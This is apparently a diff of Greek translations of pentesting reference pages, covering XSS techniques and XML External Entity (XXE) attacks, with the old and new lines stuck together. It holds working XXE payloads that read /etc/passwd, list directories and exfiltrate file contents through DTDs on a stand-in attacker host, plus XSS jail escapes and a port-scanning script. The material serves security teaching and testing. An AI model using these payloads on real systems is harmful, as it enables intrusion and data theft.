Εκεί θα βρείτε μια λεπτομερή **εξήγηση για το τι είναι οι ευπάθειες DOM, πώς προκαλούνται και πώς να τις εκμεταλλευτείτε**.\ Εκεί θα βρείτε μια λεπτομερή **εξήγηση για το τι είναι οι ευπάθειες DOM, πώς προκαλούνται και πώς να τις εκμεταλλευτείτε**.\
Επίσης, μην ξεχάσετε ότι **στο τέλος της αναφερόμενης ανάρτησης** μπορείτε να βρείτε μια εξήγηση για τις [**επιθέσεις DOM Clobbering**](dom-xss.md#dom-clobbering). Επίσης, μην ξεχάσετε ότι **στο τέλος της αναφερόμενης ανάρτησης** μπορείτε να βρείτε μια εξήγηση για [**επιθέσεις DOM Clobbering**](dom-xss.md#dom-clobbering).
### Αναβάθμιση Self-XSS ### Αναβάθμιση Self-XSS
### Cookie XSS ### Cookie XSS
Αν μπορείτε να προκαλέσετε ένα XSS στέλνοντας το payload μέσα σε ένα cookie, αυτό είναι συνήθως ένα self-XSS. Ωστόσο, αν βρείτε ένα **ευάλωτο υποτομέα σε XSS**, θα μπορούσατε να εκμεταλλευτείτε αυτό το XSS για να εισάγετε ένα cookie σε ολόκληρο το domain, καταφέρνοντας να προκαλέσετε το cookie XSS στο κύριο domain ή σε άλλα υποτομέα (αυτά που είναι ευάλωτα σε cookie XSS). Για αυτό μπορείτε να χρησιμοποιήσετε την επίθεση cookie tossing: Αν μπορείτε να προκαλέσετε ένα XSS στέλνοντας το payload μέσα σε ένα cookie, αυτό είναι συνήθως ένα self-XSS. Ωστόσο, αν βρείτε ένα **ευάλωτο υποτομέα σε XSS**, θα μπορούσατε να εκμεταλλευτείτε αυτό το XSS για να εισάγετε ένα cookie σε ολόκληρο το domain καταφέρνοντας να ενεργοποιήσετε το cookie XSS στο κύριο domain ή σε άλλους υποτομείς (τους ευάλωτους σε cookie XSS). Για αυτό μπορείτε να χρησιμοποιήσετε την επίθεση cookie tossing:
{{#ref}} {{#ref}}
../hacking-with-cookies/cookie-tossing.md ../hacking-with-cookies/cookie-tossing.md
@ -766,7 +766,7 @@ dom-xss.md
### Αντανάκλαση Συνεδρίας ### Αντανάκλαση Συνεδρίας
Αν βρείτε κάποιο self XSS και η ιστοσελίδα έχει **αντανάκλαση συνεδρίας για διαχειριστές**, για παράδειγμα επιτρέποντας στους πελάτες να ζητούν βοήθεια, προκειμένου ο διαχειριστής να σας βοηθήσει, θα βλέπει αυτό που βλέπετε στη συνεδρία σας αλλά από τη δική του συνεδρία. Αν βρείτε κάποιο self XSS και η ιστοσελίδα έχει **αντανάκλαση συνεδρίας για διαχειριστές**, για παράδειγμα επιτρέποντας στους πελάτες να ζητούν βοήθεια και προκειμένου ο διαχειριστής να σας βοηθήσει θα βλέπει ό,τι βλέπετε στη συνεδρία σας αλλά από τη δική του συνεδρία.
Θα μπορούσατε να κάνετε τον **διαχειριστή να ενεργοποιήσει το self XSS σας** και να κλέψετε τα cookies/συνεδρία του. Θα μπορούσατε να κάνετε τον **διαχειριστή να ενεργοποιήσει το self XSS σας** και να κλέψετε τα cookies/συνεδρία του.
@ -836,7 +836,11 @@ document['default'+'View'][`\u0061lert`](3)
### Έγκυροι `<script>` Τύποι Περιεχομένου για XSS ### Έγκυροι `<script>` Τύποι Περιεχομένου για XSS
(Από [**εδώ**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Αν προσπαθήσετε να φορτώσετε ένα script με **content-type** όπως `application/octet-stream`, το Chrome θα ρί (Από [**εδώ**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Αν προσπαθήσετε να φορτώσετε ένα script με **τύπο περιεχομένου** όπως `application/octet-stream`, το Chrome θα ρίξει το εξής σφάλμα:
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
Οι μόνοι **Content-Type** που θα υποστηρίξουν το Chrome να εκτελέσει ένα **φορτωμένο script** είναι αυτοί που βρίσκονται μέσα στη σταθερά **`kSupportedJavascriptTypes`** από [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
```c ```c
const char* const kSupportedJavascriptTypes[] = { const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript", "application/ecmascript",
@ -947,7 +951,7 @@ import { partition } from "lodash"
chrome-cache-to-xss.md chrome-cache-to-xss.md
{{#endref}} {{#endref}}
### Διαφυγή XS Jails ### XS Jails Escape
Αν έχετε μόνο ένα περιορισμένο σύνολο χαρακτήρων για χρήση, ελέγξτε αυτές τις άλλες έγκυρες λύσεις για προβλήματα XSJail: Αν έχετε μόνο ένα περιορισμένο σύνολο χαρακτήρων για χρήση, ελέγξτε αυτές τις άλλες έγκυρες λύσεις για προβλήματα XSJail:
```javascript ```javascript
@ -1354,7 +1358,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
}; };
} }
``` ```
_Οι σύντομοι χρόνοι υποδεικνύουν μια απαντητική θύρα_ _Οι μεγαλύτεροι χρόνοι υποδεικνύουν μη απάντηση._ _Σύντομοι χρόνοι υποδεικνύουν μια απαντητική θύρα_ _Μακρύτεροι χρόνοι υποδεικνύουν μη απάντηση._
Ελέγξτε τη λίστα με τις θύρες που έχουν αποκλειστεί στο Chrome [**εδώ**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) και στο Firefox [**εδώ**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist). Ελέγξτε τη λίστα με τις θύρες που έχουν αποκλειστεί στο Chrome [**εδώ**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) και στο Firefox [**εδώ**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
@ -1421,7 +1425,9 @@ shadow-dom.md
### Πολυγλωσσικά ### Πολυγλωσσικά
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %} {{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
{{#endref}}
### Blind XSS payloads ### Blind XSS payloads
@ -1486,9 +1492,11 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
``` ```
### Λίστα Brute-Force ### Λίστα Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %} {{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
{{#endref}}
## XSS Κατάχρηση άλλων ευπαθειών ## XSS Εκμετάλλευση άλλων ευπαθειών
### XSS σε Markdown ### XSS σε Markdown
@ -1509,8 +1517,8 @@ xss-in-markdown.md
### XSS σε δυναμικά δημιουργημένο PDF ### XSS σε δυναμικά δημιουργημένο PDF
Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο ελεγχόμενη από τον χρήστη, μπορείτε να προσπαθήσετε να **παγιδεύσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο JS κώδικα**.\ Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να **παγιδεύσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο JS κώδικα**.\
Έτσι, αν το **bot δημιουργίας PDF βρει** κάποιο είδος **HTML** **tags**, θα **τα ερμηνεύσει**, και μπορείτε να **εκμεταλλευτείτε** αυτή τη συμπεριφορά για να προκαλέσετε ένα **Server XSS**. Έτσι, αν το **bot δημιουργίας PDF βρει** κάποιο είδος **HTML** **tags**, θα **ερμηνεύσει** αυτά, και μπορείτε να **καταχραστείτε** αυτή τη συμπεριφορά για να προκαλέσετε ένα **Server XSS**.
{{#ref}} {{#ref}}
server-side-xss-dynamic-pdf.md server-side-xss-dynamic-pdf.md
@ -1526,7 +1534,7 @@ pdf-injection.md
Το AMP, που στοχεύει στην επιτάχυνση της απόδοσης ιστοσελίδων σε κινητές συσκευές, ενσωματώνει HTML tags συμπληρωμένα με JavaScript για να διασφαλίσει τη λειτουργικότητα με έμφαση στην ταχύτητα και την ασφάλεια. Υποστηρίζει μια σειρά από συστατικά για διάφορες δυνατότητες, προσβάσιμα μέσω [AMP components](https://amp.dev/documentation/components/?format=websites). Το AMP, που στοχεύει στην επιτάχυνση της απόδοσης ιστοσελίδων σε κινητές συσκευές, ενσωματώνει HTML tags συμπληρωμένα με JavaScript για να διασφαλίσει τη λειτουργικότητα με έμφαση στην ταχύτητα και την ασφάλεια. Υποστηρίζει μια σειρά από συστατικά για διάφορες δυνατότητες, προσβάσιμα μέσω [AMP components](https://amp.dev/documentation/components/?format=websites).
Η μορφή [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) επεκτείνει συγκεκριμένα AMP components σε email, επιτρέποντας στους παραλήπτες να αλληλεπιδρούν με το περιεχόμενο απευθείας μέσα στα email τους. Η [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) μορφή επεκτείνει συγκεκριμένα AMP components σε email, επιτρέποντας στους παραλήπτες να αλληλεπιδρούν με το περιεχόμενο απευθείας μέσα στα email τους.
Παράδειγμα [**writeup XSS σε Amp4Email στο Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). Παράδειγμα [**writeup XSS σε Amp4Email στο Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).

View File

@ -7,7 +7,7 @@
Το XML είναι μια γλώσσα σήμανσης σχεδιασμένη για αποθήκευση και μεταφορά δεδομένων, με μια ευέλικτη δομή που επιτρέπει τη χρήση περιγραφικών ετικετών. Διαφέρει από το HTML καθώς δεν περιορίζεται σε ένα σύνολο προκαθορισμένων ετικετών. Η σημασία του XML έχει μειωθεί με την άνοδο του JSON, παρά τον αρχικό του ρόλο στην τεχνολογία AJAX. Το XML είναι μια γλώσσα σήμανσης σχεδιασμένη για αποθήκευση και μεταφορά δεδομένων, με μια ευέλικτη δομή που επιτρέπει τη χρήση περιγραφικών ετικετών. Διαφέρει από το HTML καθώς δεν περιορίζεται σε ένα σύνολο προκαθορισμένων ετικετών. Η σημασία του XML έχει μειωθεί με την άνοδο του JSON, παρά τον αρχικό του ρόλο στην τεχνολογία AJAX.
- **Αναπαράσταση Δεδομένων μέσω Οντοτήτων**: Οι οντότητες στο XML επιτρέπουν την αναπαράσταση δεδομένων, συμπεριλαμβανομένων ειδικών χαρακτήρων όπως `&lt;` και `&gt;`, που αντιστοιχούν σε `<` και `>` για να αποφευχθεί η σύγκρουση με το σύστημα ετικετών του XML. - **Αναπαράσταση Δεδομένων μέσω Οντοτήτων**: Οι οντότητες στο XML επιτρέπουν την αναπαράσταση δεδομένων, συμπεριλαμβανομένων ειδικών χαρακτήρων όπως `&lt;` και `&gt;`, που αντιστοιχούν σε `<` και `>` για να αποφευχθεί η σύγκρουση με το σύστημα ετικετών του XML.
- **Ορισμός Στοιχείων XML**: Το XML επιτρέπει τον ορισμό τύπων στοιχείων, περιγράφοντας πώς θα πρέπει να δομούνται τα στοιχεία και ποιο περιεχόμενο μπορεί να περιέχουν, από οποιοδήποτε τύπο περιεχομένου έως συγκεκριμένα παιδικά στοιχεία. - **Ορισμός Στοιχείων XML**: Το XML επιτρέπει τον ορισμό τύπων στοιχείων, περιγράφοντας πώς θα πρέπει να δομούνται τα στοιχεία και τι περιεχόμενο μπορεί να περιέχουν, από οποιοδήποτε τύπο περιεχομένου έως συγκεκριμένα παιδικά στοιχεία.
- **Ορισμός Τύπου Εγγράφου (DTD)**: Τα DTD είναι κρίσιμα στο XML για τον ορισμό της δομής του εγγράφου και των τύπων δεδομένων που μπορεί να περιέχει. Μπορούν να είναι εσωτερικά, εξωτερικά ή ένας συνδυασμός, καθοδηγώντας το πώς μορφοποιούνται και επικυρώνονται τα έγγραφα. - **Ορισμός Τύπου Εγγράφου (DTD)**: Τα DTD είναι κρίσιμα στο XML για τον ορισμό της δομής του εγγράφου και των τύπων δεδομένων που μπορεί να περιέχει. Μπορούν να είναι εσωτερικά, εξωτερικά ή ένας συνδυασμός, καθοδηγώντας το πώς μορφοποιούνται και επικυρώνονται τα έγγραφα.
- **Προσαρμοσμένες και Εξωτερικές Οντότητες**: Το XML υποστηρίζει τη δημιουργία προσαρμοσμένων οντοτήτων εντός ενός DTD για ευέλικτη αναπαράσταση δεδομένων. Οι εξωτερικές οντότητες, που ορίζονται με μια διεύθυνση URL, εγείρουν ανησυχίες ασφαλείας, ιδιαίτερα στο πλαίσιο επιθέσεων XML External Entity (XXE), οι οποίες εκμεταλλεύονται τον τρόπο που οι αναλυτές XML χειρίζονται εξωτερικές πηγές δεδομένων: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>` - **Προσαρμοσμένες και Εξωτερικές Οντότητες**: Το XML υποστηρίζει τη δημιουργία προσαρμοσμένων οντοτήτων εντός ενός DTD για ευέλικτη αναπαράσταση δεδομένων. Οι εξωτερικές οντότητες, που ορίζονται με μια διεύθυνση URL, εγείρουν ανησυχίες ασφαλείας, ιδιαίτερα στο πλαίσιο επιθέσεων XML External Entity (XXE), οι οποίες εκμεταλλεύονται τον τρόπο που οι αναλυτές XML χειρίζονται εξωτερικές πηγές δεδομένων: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **Ανίχνευση XXE με Οντότητες Παραμέτρων**: Για την ανίχνευση ευπαθειών XXE, ειδικά όταν οι συμβατικές μέθοδοι αποτυγχάνουν λόγω μέτρων ασφαλείας του αναλυτή, μπορούν να χρησιμοποιηθούν οντότητες παραμέτρων XML. Αυτές οι οντότητες επιτρέπουν τεχνικές ανίχνευσης εκτός ζώνης, όπως η ενεργοποίηση αναζητήσεων DNS ή HTTP αιτημάτων σε έναν ελεγχόμενο τομέα, για να επιβεβαιωθεί η ευπάθεια. - **Ανίχνευση XXE με Οντότητες Παραμέτρων**: Για την ανίχνευση ευπαθειών XXE, ειδικά όταν οι συμβατικές μέθοδοι αποτυγχάνουν λόγω μέτρων ασφαλείας του αναλυτή, μπορούν να χρησιμοποιηθούν οντότητες παραμέτρων XML. Αυτές οι οντότητες επιτρέπουν τεχνικές ανίχνευσης εκτός ζώνης, όπως η ενεργοποίηση αναζητήσεων DNS ή HTTP αιτημάτων σε έναν ελεγχόμενο τομέα, για να επιβεβαιωθεί η ευπάθεια.
@ -33,7 +33,7 @@
### Διαβάστε το αρχείο ### Διαβάστε το αρχείο
Ας προσπαθήσουμε να διαβάσουμε το `/etc/passwd` με διάφορους τρόπους. Για Windows μπορείτε να προσπαθήσετε να διαβάσετε: `C:\windows\system32\drivers\etc\hosts` Ας προσπαθήσουμε να διαβάσουμε το `/etc/passwd` με διάφορους τρόπους. Για Windows, μπορείτε να προσπαθήσετε να διαβάσετε: `C:\windows\system32\drivers\etc\hosts`
Σε αυτή την πρώτη περίπτωση, παρατηρήστε ότι το SYSTEM "_\*\*file:///\*\*etc/passwd_" θα λειτουργήσει επίσης. Σε αυτή την πρώτη περίπτωση, παρατηρήστε ότι το SYSTEM "_\*\*file:///\*\*etc/passwd_" θα λειτουργήσει επίσης.
```xml ```xml
@ -49,7 +49,7 @@
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]> <!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data> <data>&example;</data>
``` ```
Στην τρίτη αυτή περίπτωση παρατηρούμε ότι δηλώνουμε το `Element stockCheck` ως ANY Σε αυτήν την τρίτη περίπτωση παρατηρήστε ότι δηλώνουμε το `Element stockCheck` ως ANY
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [ <!DOCTYPE data [
@ -63,9 +63,9 @@
``` ```
![](<../images/image (753).png>) ![](<../images/image (753).png>)
### Κατάλογος καταλόγου ### Κατάλογος καταχώρησης
Σε εφαρμογές που βασίζονται σε **Java**, μπορεί να είναι δυνατό να **καταχωρήσετε τα περιεχόμενα ενός καταλόγου** μέσω XXE με ένα payload όπως (απλώς ζητώντας τον κατάλογο αντί για το αρχείο): Σε εφαρμογές βασισμένες σε **Java**, μπορεί να είναι δυνατό να **καταχωρήσετε τα περιεχόμενα ενός καταλόγου** μέσω XXE με ένα payload όπως (απλώς ζητώντας τον κατάλογο αντί για το αρχείο):
```xml ```xml
<!-- Root / --> <!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root> <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
@ -83,7 +83,7 @@
``` ```
### Blind SSRF ### Blind SSRF
Χρησιμοποιώντας την **προηγουμένως σχολιασμένη τεχνική** μπορείτε να κάνετε τον διακομιστή να έχει πρόσβαση σε έναν διακομιστή που ελέγχετε για να δείξετε ότι είναι ευάλωτος. Αλλά, αν αυτό δεν λειτουργεί, ίσως είναι επειδή **οι XML οντότητες δεν επιτρέπονται**, σε αυτή την περίπτωση θα μπορούσατε να δοκιμάσετε να χρησιμοποιήσετε **XML παραμετρικές οντότητες**: Χρησιμοποιώντας την **προηγουμένως σχολιασμένη τεχνική** μπορείτε να κάνετε τον διακομιστή να έχει πρόσβαση σε έναν διακομιστή που ελέγχετε για να δείξει ότι είναι ευάλωτος. Αλλά, αν αυτό δεν λειτουργεί, ίσως είναι επειδή **οι XML οντότητες δεν επιτρέπονται**, σε αυτή την περίπτωση θα μπορούσατε να δοκιμάσετε να χρησιμοποιήσετε **XML παραμετρικές οντότητες**:
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
@ -91,7 +91,7 @@
``` ```
### "Blind" SSRF - Εξαγωγή δεδομένων εκτός ζώνης ### "Blind" SSRF - Εξαγωγή δεδομένων εκτός ζώνης
**Σε αυτή την περίπτωση, θα κάνουμε τον διακομιστή να φορτώσει μια νέα DTD με ένα κακόβουλο payload που θα στείλει το περιεχόμενο ενός αρχείου μέσω HTTP αιτήματος (για αρχεία πολλαπλών γραμμών μπορείτε να προσπαθήσετε να το εξαγάγετε μέσω \_ftp://**\_ χρησιμοποιώντας αυτόν τον βασικό διακομιστή για παράδειγμα [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Αυτή η εξήγηση βασίζεται στο** [**Portswiggers lab εδώ**](https://portswigger.net/web-security/xxe/blind)**.** **Σε αυτή την περίπτωση, θα κάνουμε τον διακομιστή να φορτώσει μια νέα DTD με ένα κακόβουλο payload που θα στείλει το περιεχόμενο ενός αρχείου μέσω HTTP αιτήματος (για αρχεία πολλαπλών γραμμών μπορείτε να προσπαθήσετε να το εξαγάγετε μέσω \_ftp://**\_ χρησιμοποιώντας αυτόν τον βασικό διακομιστή για παράδειγμα [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Αυτή η εξήγηση βασίζεται σε** [**Portswiggers lab εδώ**](https://portswigger.net/web-security/xxe/blind)**.**
Στην δεδομένη κακόβουλη DTD, εκτελούνται μια σειρά βημάτων για την εξαγωγή δεδομένων: Στην δεδομένη κακόβουλη DTD, εκτελούνται μια σειρά βημάτων για την εξαγωγή δεδομένων:
@ -107,11 +107,11 @@
Τα βήματα που εκτελούνται από αυτό το DTD περιλαμβάνουν: Τα βήματα που εκτελούνται από αυτό το DTD περιλαμβάνουν:
1. **Ορισμός Οντοτήτων Παραμέτρων:** 1. **Ορισμός Οντοτήτων Παραμέτρων:**
- Δημιουργείται μια XML οντότητα παραμέτρου, `%file`, που διαβάζει το περιεχόμενο του αρχείου `/etc/hostname`. - Μια οντότητα παραμέτρου XML, `%file`, δημιουργείται, διαβάζοντας το περιεχόμενο του αρχείου `/etc/hostname`.
- Ορίζεται μια άλλη XML οντότητα παραμέτρου, `%eval`. Δημιουργεί δυναμικά μια νέα XML οντότητα παραμέτρου, `%exfiltrate`. Η οντότητα `%exfiltrate` ρυθμίζεται ώστε να κάνει ένα HTTP αίτημα στον διακομιστή του επιτιθέμενου, περνώντας το περιεχόμενο της οντότητας `%file` μέσα στη συμβολοσειρά ερωτήματος της διεύθυνσης URL. - Μια άλλη οντότητα παραμέτρου XML, `%eval`, ορίζεται. Δημιουργεί δυναμικά μια νέα οντότητα παραμέτρου XML, `%exfiltrate`. Η οντότητα `%exfiltrate` ρυθμίζεται ώστε να κάνει ένα HTTP αίτημα στον διακομιστή του επιτιθέμενου, περνώντας το περιεχόμενο της οντότητας `%file` μέσα στη συμβολοσειρά ερωτήματος της διεύθυνσης URL.
2. **Εκτέλεση Οντοτήτων:** 2. **Εκτέλεση Οντοτήτων:**
- Χρησιμοποιείται η οντότητα `%eval`, οδηγώντας στην εκτέλεση της δυναμικής δήλωσης της οντότητας `%exfiltrate`. - Η οντότητα `%eval` χρησιμοποιείται, οδηγώντας στην εκτέλεση της δυναμικής δήλωσης της οντότητας `%exfiltrate`.
- Στη συνέχεια, χρησιμοποιείται η οντότητα `%exfiltrate`, ενεργοποιώντας ένα HTTP αίτημα στη συγκεκριμένη διεύθυνση URL με το περιεχόμενο του αρχείου. - Στη συνέχεια, η οντότητα `%exfiltrate` χρησιμοποιείται, ενεργοποιώντας ένα HTTP αίτημα στη συγκεκριμένη διεύθυνση URL με το περιεχόμενο του αρχείου.
Ο επιτιθέμενος φιλοξενεί αυτό το κακόβουλο DTD σε έναν διακομιστή υπό τον έλεγχό του, συνήθως σε μια διεύθυνση URL όπως `http://web-attacker.com/malicious.dtd`. Ο επιτιθέμενος φιλοξενεί αυτό το κακόβουλο DTD σε έναν διακομιστή υπό τον έλεγχό του, συνήθως σε μια διεύθυνση URL όπως `http://web-attacker.com/malicious.dtd`.
@ -121,20 +121,20 @@
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck> <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
``` ```
Αυτό το payload ορίζει μια οντότητα παραμέτρου XML `%xxe` και την ενσωματώνει μέσα στο DTD. Όταν επεξεργαστεί από έναν αναλυτή XML, αυτό το payload ανακτά το εξωτερικό DTD από τον διακομιστή του επιτιθέμενου. Ο αναλυτής στη συνέχεια ερμηνεύει το DTD inline, εκτελώντας τα βήματα που περιγράφονται στο κακόβουλο DTD και οδηγώντας στην εξαγωγή του αρχείου `/etc/hostname` στον διακομιστή του επιτιθέμενου. Αυτό το payload ορίζει μια παράμετρο οντότητας XML `%xxe` και την ενσωματώνει μέσα στο DTD. Όταν επεξεργαστεί από έναν αναλυτή XML, αυτό το payload ανακτά το εξωτερικό DTD από τον διακομιστή του επιτιθέμενου. Ο αναλυτής στη συνέχεια ερμηνεύει το DTD inline, εκτελώντας τα βήματα που περιγράφονται στο κακόβουλο DTD και οδηγώντας στην εξαγωγή του αρχείου `/etc/hostname` στον διακομιστή του επιτιθέμενου.
### Error Based(External DTD) ### Error Based(External DTD)
**Σε αυτή την περίπτωση θα κάνουμε τον διακομιστή να φορτώσει ένα κακόβουλο DTD που θα εμφανίσει το περιεχόμενο ενός αρχείου μέσα σε ένα μήνυμα σφάλματος (αυτό είναι έγκυρο μόνο αν μπορείτε να δείτε μηνύματα σφάλματος).** [**Παράδειγμα από εδώ.**](https://portswigger.net/web-security/xxe/blind) **Σε αυτή την περίπτωση θα κάνουμε τον διακομιστή να φορτώσει ένα κακόβουλο DTD που θα δείξει το περιεχόμενο ενός αρχείου μέσα σε ένα μήνυμα σφάλματος (αυτό είναι έγκυρο μόνο αν μπορείτε να δείτε μηνύματα σφάλματος).** [**Παράδειγμα από εδώ.**](https://portswigger.net/web-security/xxe/blind)
Ένα μήνυμα σφάλματος ανάλυσης XML, που αποκαλύπτει τα περιεχόμενα του αρχείου `/etc/passwd`, μπορεί να προκληθεί χρησιμοποιώντας ένα κακόβουλο εξωτερικό Document Type Definition (DTD). Αυτό επιτυγχάνεται μέσω των παρακάτω βημάτων: Ένα μήνυμα σφάλματος ανάλυσης XML, αποκαλύπτοντας τα περιεχόμενα του αρχείου `/etc/passwd`, μπορεί να προκληθεί χρησιμοποιώντας ένα κακόβουλο εξωτερικό Document Type Definition (DTD). Αυτό επιτυγχάνεται μέσω των εξής βημάτων:
1. Ορίζεται μια οντότητα παραμέτρου XML με όνομα `file`, η οποία περιέχει τα περιεχόμενα του αρχείου `/etc/passwd`. 1. Ορίζεται μια παράμετρος οντότητας XML με το όνομα `file`, η οποία περιέχει τα περιεχόμενα του αρχείου `/etc/passwd`.
2. Ορίζεται μια οντότητα παραμέτρου XML με όνομα `eval`, ενσωματώνοντας μια δυναμική δήλωση για μια άλλη οντότητα παραμέτρου XML με όνομα `error`. Αυτή η οντότητα `error`, όταν αξιολογηθεί, προσπαθεί να φορτώσει ένα ανύπαρκτο αρχείο, ενσωματώνοντας τα περιεχόμενα της οντότητας `file` ως όνομά της. 2. Ορίζεται μια παράμετρος οντότητας XML με το όνομα `eval`, ενσωματώνοντας μια δυναμική δήλωση για μια άλλη παράμετρο οντότητας XML με το όνομα `error`. Αυτή η οντότητα `error`, όταν αξιολογηθεί, προσπαθεί να φορτώσει ένα ανύπαρκτο αρχείο, ενσωματώνοντας τα περιεχόμενα της οντότητας `file` ως το όνομά της.
3. Η οντότητα `eval` καλείται, οδηγώντας στη δυναμική δήλωση της οντότητας `error`. 3. Η οντότητα `eval` καλείται, οδηγώντας στη δυναμική δήλωση της οντότητας `error`.
4. Η κλήση της οντότητας `error` έχει ως αποτέλεσμα μια προσπάθεια φόρτωσης ενός ανύπαρκτου αρχείου, παράγοντας ένα μήνυμα σφάλματος που περιλαμβάνει τα περιεχόμενα του αρχείου `/etc/passwd` ως μέρος του ονόματος του αρχείου. 4. Η κλήση της οντότητας `error` έχει ως αποτέλεσμα μια προσπάθεια φόρτωσης ενός ανύπαρκτου αρχείου, παράγοντας ένα μήνυμα σφάλματος που περιλαμβάνει τα περιεχόμενα του αρχείου `/etc/passwd` ως μέρος του ονόματος του αρχείου.
Το κακόβουλο εξωτερικό DTD μπορεί να κληθεί με το παρακάτω XML: Το κακόβουλο εξωτερικό DTD μπορεί να κληθεί με το ακόλουθο XML:
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
@ -168,8 +168,8 @@ _**Παρακαλώ σημειώστε ότι η εξωτερική DTD μας
Τα παρακάτω βήματα εκτελούνται από αυτήν την DTD: Τα παρακάτω βήματα εκτελούνται από αυτήν την DTD:
- Ο ορισμός μιας XML παραμέτρου οντότητας με όνομα `local_dtd` περιλαμβάνει το εξωτερικό αρχείο DTD που βρίσκεται στο σύστημα αρχείων του διακομιστή. - Ο ορισμός μιας XML παραμέτρου οντότητας με όνομα `local_dtd` περιλαμβάνει το εξωτερικό αρχείο DTD που βρίσκεται στο σύστημα αρχείων του διακομιστή.
- Μια επαναορισμός συμβαίνει για την XML παράμετρο οντότητας `custom_entity`, που αρχικά ορίστηκε στην εξωτερική DTD, για να περιλάβει μια [εκμετάλλευση XXE βασισμένη σε σφάλματα](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Αυτή η επαναορισμός έχει σχεδιαστεί για να προκαλέσει ένα σφάλμα ανάλυσης, εκθέτοντας το περιεχόμενο του αρχείου `/etc/passwd`. - Μια επαναορισμός συμβαίνει για την XML παράμετρο οντότητας `custom_entity`, που αρχικά ορίστηκε στο εξωτερικό DTD, για να περιλάβει μια [εκμετάλλευση XXE βασισμένη σε σφάλματα](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Αυτή η επαναορισμός έχει σχεδιαστεί για να προκαλέσει ένα σφάλμα ανάλυσης, εκθέτοντας το περιεχόμενο του αρχείου `/etc/passwd`.
- Χρησιμοποιώντας την οντότητα `local_dtd`, ενεργοποιείται η εξωτερική DTD, περιλαμβάνοντας την νεοκαθορισμένη `custom_entity`. Αυτή η ακολουθία ενεργειών προκαλεί την εκπομπή του μηνύματος σφάλματος που επιδιώκεται από την εκμετάλλευση. - Χρησιμοποιώντας την οντότητα `local_dtd`, ενεργοποιείται το εξωτερικό DTD, περιλαμβάνοντας την νεοκαθορισμένη `custom_entity`. Αυτή η ακολουθία ενεργειών προκαλεί την εκπομπή του μηνύματος σφάλματος που επιδιώκεται από την εκμετάλλευση.
